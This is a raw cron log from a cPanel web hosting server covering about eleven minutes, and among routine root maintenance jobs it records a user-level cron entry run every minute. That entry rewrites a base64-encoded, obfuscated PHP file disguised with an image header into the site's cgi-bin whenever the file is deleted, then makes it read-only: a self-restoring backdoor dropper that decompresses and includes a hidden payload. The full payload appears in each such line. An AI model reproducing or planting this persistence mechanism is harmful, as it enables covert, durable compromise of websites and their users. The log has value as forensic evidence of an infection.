Sep 12 23:30:01 server CROND[30514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:30:01 server CROND[30521]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:30:01 server CROND[30516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:30:01 server CROND[30515]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:30:01 server CROND[30520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:31:01 server CROND[31430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:31:01 server CROND[31432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:31:01 server CROND[31431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:32:01 server CROND[31814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:32:01 server CROND[31816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:32:01 server CROND[31817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:33:01 server CROND[32204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:33:01 server CROND[32203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:33:01 server CROND[32205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:34:01 server CROND[32586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:34:01 server CROND[32587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:34:01 server CROND[32588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:35:01 server CROND[528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:35:01 server CROND[534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:35:01 server CROND[590]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 23:35:01 server CROND[535]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 23:35:01 server CROND[604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:35:01 server CROND[602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:35:01 server CROND[601]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:35:01 server CROND[605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:35:01 server CROND[603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:36:01 server CROND[1645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:36:01 server CROND[1646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:36:01 server CROND[1644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:37:01 server CROND[2055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:37:01 server CROND[2056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:37:01 server CROND[2057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:38:01 server CROND[2431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:38:01 server CROND[2432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:38:01 server CROND[2433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:39:01 server CROND[2858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:39:01 server CROND[2857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:39:01 server CROND[2860]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 23:39:01 server CROND[2859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:40:01 server CROND[3238]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:40:01 server CROND[3239]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:40:01 server CROND[3245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:40:01 server CROND[3243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:40:01 server CROND[3246]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:40:01 server CROND[3244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:40:01 server CROND[3249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:40:01 server CROND[3248]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:41:01 server CROND[4158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:41:01 server CROND[4159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:41:01 server CROND[4160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
